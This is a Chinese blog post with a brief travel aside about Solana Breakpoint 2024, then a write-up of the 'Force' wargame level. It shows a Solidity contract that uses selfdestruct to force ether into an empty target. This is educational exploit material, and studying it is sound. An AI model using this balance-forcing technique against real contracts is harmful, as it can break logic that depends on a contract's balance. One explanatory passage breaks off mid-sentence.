今天是 solana breakpoint 2024 的第二天,聽到了很多項目的介紹以及計畫。新加坡的食物還是沒有很合我的胃口...可能我還是適合生活在台灣呢OUO
目標是讓關卡合約的 balance 大於 0 即可通關。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }
喵喵(x),看到這個合約可能會想說這三小完全就是空的,但我們可以利用 selfdestruct 來解題。
selfdestruct 是用來刪除合約的,並將該合約中剩餘的所有以太幣轉移到指定地址。所以,我們可以利用這個特性,將一個攻擊合約中的以太幣透過 selfdestruct 強制轉移到 Force 合約中。
selfdestruct 的語法如下:
selfdestruct(address payable recipient);
recipient: 銷毀合約後,以太幣會轉移到這個地址,無論該地址是外部帳戶 (EOA) 還是另一個合約地址。當 selfdestruct 被調用後:
recipient 地址。pragma solidity ^0.8.0;
contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ 
}
contract Hack {
    constructor(address payable _target) payable {
        selfdestruct(_target);
    }
}